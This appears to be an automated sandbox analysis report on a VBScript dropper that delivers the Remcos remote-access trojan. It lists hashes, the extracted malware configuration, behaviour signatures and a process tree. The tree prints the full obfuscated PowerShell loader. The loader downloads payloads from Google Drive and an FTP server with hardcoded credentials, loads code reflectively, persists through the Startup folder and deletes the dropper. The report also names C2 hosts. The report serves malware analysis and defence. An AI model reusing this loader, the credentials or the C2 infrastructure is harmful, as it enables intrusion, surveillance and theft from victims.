Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2024 18:00

General

  • Target

    601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs

  • Size

    681KB

  • MD5

    c92735c228647df18945e50e80630e89

  • SHA1

    a8e770aa44e41a62534f0ae5c6f5b7cc7ad2002e

  • SHA256

    601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6

  • SHA512

    9b1a6f215ff69c9bab7a6016e49ced06a0c4f932bc36135aba6a1c3e46ff6d2c9d41e2461c48696b59684b5358754813ed0df5df55f4307edfc16481ee7ea61a

  • SSDEEP

    1536:9SSSSSSSSSSSSSSSSSSSSSSSx22222222222222222222222222222222222222D:6OGHvYKaY

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    ftp.desckvbrat.com.br
  • Port:
    21
  • Username:
    desckvbrat1
  • Password:
    developerpro21578Jp@@

Extracted

Family

remcos

Botnet

40/40FR

C2

techsupport.ddnsking.com:40404

techsupport40.ddnsking.com:40405

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-SWD9K1

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 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HQЌз革SQЌз革tЌз革HkЌз革cЌз革BvЌз革EMЌз革IЌз革Ќз革7Ќз革CЌз革Ќз革dЌз革ByЌз革GEЌз革dЌз革BzЌз革GUЌз革cgBvЌз革G4Ќз革LwЌз革gЌз革HQЌз革ZQBpЌз革HUЌз革cQЌз革vЌз革CЌз革Ќз革UQBBЌз革GoЌз革egBJЌз革CЌз革Ќз革ZQB4Ќз革GUЌз革LgBhЌз革HMЌз革dQB3Ќз革CЌз革Ќз革ZQB4Ќз革GUЌз革LgBsЌз革GwЌз革ZQBoЌз革HMЌз革cgBlЌз革HcЌз革bwBwЌз革CЌз革Ќз革OwЌз革pЌз革CcЌз革dQBzЌз革G0Ќз革LgBuЌз革GkЌз革dwBwЌз革FUЌз革XЌз革Ќз革nЌз革CЌз革Ќз革KwЌз革gЌз革GQЌз革SQBSЌз革GkЌз革TQЌз革kЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革UQBBЌз革GoЌз革egBJЌз革DsЌз革KQЌз革gЌз革GUЌз革bQBhЌз革E4Ќз革cgBlЌз革HMЌз革VQЌз革6Ќз革DoЌз革XQB0Ќз革G4Ќз革ZQBtЌз革G4Ќз革bwByЌз革GkЌз革dgBuЌз革EUЌз革WwЌз革gЌз革CsЌз革IЌз革Ќз革nЌз革FwЌз革cwByЌз革GUЌз革cwBVЌз革FwЌз革OgBDЌз革CcЌз革KЌз革Ќз革gЌз革D0Ќз革IЌз革BGЌз革EcЌз革cgBVЌз革EEЌз革JЌз革Ќз革7Ќз革CkЌз革JwB1Ќз革HMЌз革bQЌз革uЌз革G4Ќз革aQB3Ќз革HЌз革Ќз革VQBcЌз革CcЌз革IЌз革Ќз革rЌз革CЌз革Ќз革ZЌз革BJЌз革FIЌз革aQBNЌз革CQЌз革IЌз革Ќз革sЌз革EIЌз革SwBMЌз革FIЌз革VQЌз革kЌз革CgЌз革ZQBsЌз革GkЌз革RgBkЌз革GEЌз革bwBsЌз革G4Ќз革dwBvЌз革EQЌз革LgB4Ќз革GgЌз革SgBIЌз革HkЌз革JЌз革Ќз革7Ќз革DgЌз革RgBUЌз革FUЌз革OgЌз革6Ќз革F0Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革dЌз革B4Ќз革GUЌз革VЌз革Ќз革uЌз革G0Ќз革ZQB0Ќз革HMЌз革eQBTЌз革FsЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革ZwBuЌз革GkЌз革ZЌз革BvЌз革GMЌз革bgBFЌз革C4Ќз革eЌз革BoЌз革EoЌз革SЌз革B5Ќз革CQЌз革OwЌз革pЌз革HQЌз革bgBlЌз革GkЌз革bЌз革BDЌз革GIЌз革ZQBXЌз革C4Ќз革dЌз革BlЌз革E4Ќз革IЌз革B0Ќз革GMЌз革ZQBqЌз革GIЌз革TwЌз革tЌз革HcЌз革ZQBOЌз革CgЌз革IЌз革Ќз革9Ќз革CЌз革Ќз革eЌз革BoЌз革EoЌз革SЌз革B5Ќз革CQЌз革OwB9Ќз革DsЌз革IЌз革Ќз革pЌз革CcЌз革dЌз革BPЌз革EwЌз革YwBfЌз革EsЌз革YQЌз革zЌз革FoЌз革ZgBvЌз革FgЌз革MgBKЌз革EoЌз革cgBWЌз革GgЌз革bQBWЌз革DkЌз革YwBtЌз革DkЌз革WЌз革BzЌз革HUЌз革WЌз革BtЌз革GoЌз革MQBnЌз革DEЌз革JwЌз革gЌз革CsЌз革IЌз革BGЌз革GEЌз革RQBZЌз革FIЌз革JЌз革Ќз革oЌз革CЌз革Ќз革PQЌз革gЌз革EYЌз革YQBFЌз革FkЌз革UgЌз革kЌз革HsЌз革IЌз革BlЌз革HMЌз革bЌз革BlЌз革H0Ќз革OwЌз革gЌз革CkЌз革JwЌз革yЌз革DQЌз革dQBYЌз革EoЌз革VЌз革BxЌз革GEЌз革bQBnЌз革HkЌз革TQB0Ќз革EYЌз革egBhЌз革GsЌз革UЌз革BSЌз革DEЌз革cQBfЌз革EkЌз革dgBHЌз革GkЌз革WЌз革BOЌз革GQЌз革cQBhЌз革E4Ќз革MQЌз革nЌз革CЌз革Ќз革KwЌз革gЌз革EYЌз革YQBFЌз革FkЌз革UgЌз革kЌз革CgAIAA9ACAARgBhAEUAWQBSACQAewAgACkAIABXAGkAaQBCAHMAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAFcAaQBpAEIAcwAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABGAGEARQBZAFIAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABkAEkAUgBpAE0AJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAAZABJAFIAaQBNACQAewAgACkAIABGAGQATQBRAFQAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABGAGQATQBRAFQAJAAgADsA';$nQCfu = $qKKzc.replace('Ќз革' , 'A') ;$IedxR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $nQCfu ) ); $IedxR = $IedxR[-1..-$IedxR.Length] -join '';$IedxR = $IedxR.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs');powershell $IedxR
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1508
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $TQMdF = $host.Version.Major.Equals(2) ;if ( $TQMdF ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yHJhx = (New-Object Net.WebClient);$yHJhx.Encoding = [System.Text.Encoding]::UTF8;$yHJhx.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$uyrb = (New-Object Net.WebClient);$uyrb.Encoding = [System.Text.Encoding]::UTF8;$uyrb.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $uyrb.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$uyrb.dispose();$uyrb = (New-Object Net.WebClient);$uyrb.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $uyrb.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( '047141=ld?php.nibetsap/rf.nibetsap//:sptth' , $hzwje , 'true' ) );};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2588
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
          4⤵
            PID:1916
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
            4⤵
            • Adds Run key to start application
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5044
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\oytea.ps1"
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2452
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
                PID:2900
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:1464
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs"
              4⤵
                PID:1920

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\ProgramData\remcos\logs.dat

          Filesize

          144B

          MD5

          0e2e7c75540ad364831bdcbe11bbec47

          SHA1

          d0d87cda06f8b41713de75a70ad43ed42c7090c3

          SHA256

          28460664b2c82fbbdd8f7ecf601cadc000185fc0d798a90742e120e1b371bc89

          SHA512

          ac73187a6280b3e6455e25940b21ea5e27c33fa0972c55209e2bf2aa96813e59985d291b5c45ff9522e352624f81c649d2c0f23d67c7d8d0ec573ecc5d31e272

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          6cf293cb4d80be23433eecf74ddb5503

          SHA1

          24fe4752df102c2ef492954d6b046cb5512ad408

          SHA256

          b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

          SHA512

          0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

        • C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\oytea.ps1

          Filesize

          1.7MB

          MD5

          a690ac95dca8570a314b623bac55d658

          SHA1

          b569b9125f7018e938b124a327e387e756a0d82b

          SHA256

          bb18e81e4fd293d6761dc4b9152ed6b96b32d512aa805edafc4bcf3d9e1c68b2

          SHA512

          8b6cc3f469b7cd694683114d1de41b7c73ede4bf920c35f1762b3bbaca6c330fa3d1edc166dd15faab9070c6f586f101f2b04e12830f1d45c0648bcfbd0abaaf

        • C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

          Filesize

          334B

          MD5

          33ec5c261d9ea9641f9b5557e5aa3dbf

          SHA1

          62473f7e3c0bacd495f992d8162e5ef326cd1c0d

          SHA256

          b48ee726a57804a1a03269325c7502a17351e9bc881a9b183819de701179c9b8

          SHA512

          f9b48ee0e41c056c6de73d610c72fa28e3d6412a927efa68ae2e7cfe64944a1e214e32fbd6b591d8894ae6baee009661214fb5e556fbf8381361b4f8131a5503

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          c2591b8d3c298836fc77aeec431b0a88

          SHA1

          56aed0d369ac0a912275f1d29075c78da932e2a7

          SHA256

          bfca64476080417d90c94877309a740be930c08c7d60bd2579ff9b523b4d9c9f

          SHA512

          95162e3fd633a27db36565cacc0c6e0ce220e080ca402849238cf4db42ed19772959c4d664a82cfbfeceac4271d49a0f1f5a2c0edceecbd100d7f7797a5211c8

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          948B

          MD5

          721991167161c45d61b03e4dbad4984b

          SHA1

          fd3fa85d142b5e8d4906d3e5bfe10c5347958457

          SHA256

          0a7be18529bdbed6fc9f36118a6147920d31099ee0fb5a2a8b6b934d1b9bcefb

          SHA512

          f1aa4f8e48eeb5b5279530d8557cb292a08b25ad46af0dd072130c395127f6c064c88b04910c626c13f22462104ac3d36fa0d4064fff0ec7528922df54ecdcf0

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xbjcu2hv.o2z.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1464-61-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-79-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-103-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-102-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-95-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-94-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-87-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-86-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-59-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-78-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-63-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-64-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-67-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-68-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-69-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-70-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1464-71-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/1508-6-0x0000010727270000-0x0000010727292000-memory.dmp

          Filesize

          136KB

        • memory/1508-0-0x00007FFDEB623000-0x00007FFDEB625000-memory.dmp

          Filesize

          8KB

        • memory/1508-25-0x00007FFDEB620000-0x00007FFDEC0E1000-memory.dmp

          Filesize

          10.8MB

        • memory/1508-11-0x00007FFDEB620000-0x00007FFDEC0E1000-memory.dmp

          Filesize

          10.8MB

        • memory/1508-46-0x00007FFDEB620000-0x00007FFDEC0E1000-memory.dmp

          Filesize

          10.8MB

        • memory/1508-12-0x00007FFDEB620000-0x00007FFDEC0E1000-memory.dmp

          Filesize

          10.8MB

        • memory/1508-24-0x00007FFDEB623000-0x00007FFDEB625000-memory.dmp

          Filesize

          8KB

        • memory/2452-58-0x000002818C4B0000-0x000002818C4BA000-memory.dmp

          Filesize

          40KB

        • memory/2588-22-0x000002347B3E0000-0x000002347B3EA000-memory.dmp

          Filesize

          40KB